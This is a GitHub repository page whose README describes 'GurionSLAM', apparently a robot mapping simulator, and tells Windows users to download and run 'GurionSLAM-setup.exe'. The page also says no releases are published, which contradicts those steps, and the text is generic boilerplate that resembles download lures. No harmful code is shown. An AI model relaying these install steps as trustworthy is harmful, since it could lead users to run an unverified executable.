Skip to content

Kostya123123-cloud/GurionSLAM

Repository files navigation

🤖 GurionSLAM - Visualize robot navigation and sensor data

Download GurionSLAM

GurionSLAM provides a way to simulate how robots move and map their environments. The application tracks sensor data in real time and creates maps of rooms or buildings. It uses many small services that talk to each other to handle complex calculations. You can watch the robot move and see the map grow as it explores.

📋 System requirements

Your computer needs to meet these standards to run the simulation smoothly:

  • Operating System: Windows 10 or Windows 11.
  • Processor: An Intel Core i5 or AMD Ryzen 5 processor from the last five years.
  • Memory: 8 GB of RAM or more.
  • Graphics: A monitor capable of displaying 1920x1080 resolution.
  • Storage: 500 MB of free disk space for the program files and temporary data.
  • Java: The Java Runtime Environment (JRE) version 17 or newer.

📥 How to download and install

Follow these steps to set up the software on your Windows computer:

  1. Visit the official release page to access the download files.
  2. Look for the section labeled "Assets" at the bottom of the latest release post.
  3. Click the link that ends in .exe to start the download.
  4. Save the file to your desktop or your Downloads folder.
  5. Double-click the file named GurionSLAM-setup.exe after the download finishes.
  6. Follow the instructions on the screen to complete the installation.
  7. Click Finish when the installer confirms success.

🚀 Running the software

Once you finish the installation, you can launch the application:

  1. Find the GurionSLAM icon on your desktop.
  2. Double-click the icon to open the main window.
  3. Wait for the loading bar to finish as the system starts the internal background services.
  4. The main control panel appears on your screen once the system is ready.

🎮 Understanding the interface

The program screen includes three primary areas:

  • The map view sits in the center. This displays the path the robot takes and the walls it sees.
  • The control panel on the left allows you to move the robot manually.
  • The status bar at the bottom shows if your sensors and connection services work correctly.

🛠 Solving common problems

If the simulation does not start, try these solutions:

  • Check your Java version. Type "java -version" in your command prompt to make sure you have it installed. If the command fails, download the latest version from the official Java website.
  • Restart the application if the map window remains blank for more than thirty seconds.
  • Close other demanding programs, such as video editors or high-definition games, to free up memory for the robot simulation.
  • Verify your screen resolution. A scale setting higher than 100% in Windows display settings can sometimes hide parts of the interface. Change your display scale to 100% if buttons seem missing.

🔍 Frequently asked questions

Does this program save my data?

The software creates a temporary folder on your hard drive to store local mapping logs. You can delete these files at any time to clear space.

Can I run the robot in a custom room?

The current version uses pre-built test environments. Future updates will include a tool to import floor plans or room layouts.

How do I stop the simulation?

Click the "Stop" button in the top menu or simply close the main window. The program shuts down all background services safely when you exit.

Does the software require an internet connection?

The simulation runs entirely on your computer. You do not need an active internet connection to use the core features or mapping tools.

🏗 About the project

This application uses a modular design to manage different robot tasks. By splitting complex work into smaller parts, the program stays responsive even when the robot handles many sensor inputs at once. This approach ensures that the map view stays clear and fast. The underlying code handles multiple data streams at high speeds to keep the robot position accurate.

The software tracks the surroundings by measuring distance and angle data. It compares these measurements against previous data to calculate the most likely path. This process runs many times per second. By using a dedicated internal communication channel, the program sends messages between components without errors. This design keeps the simulation stable and reliable during long sessions.

Releases

No releases published

Packages

 
 
 

Contributors

Languages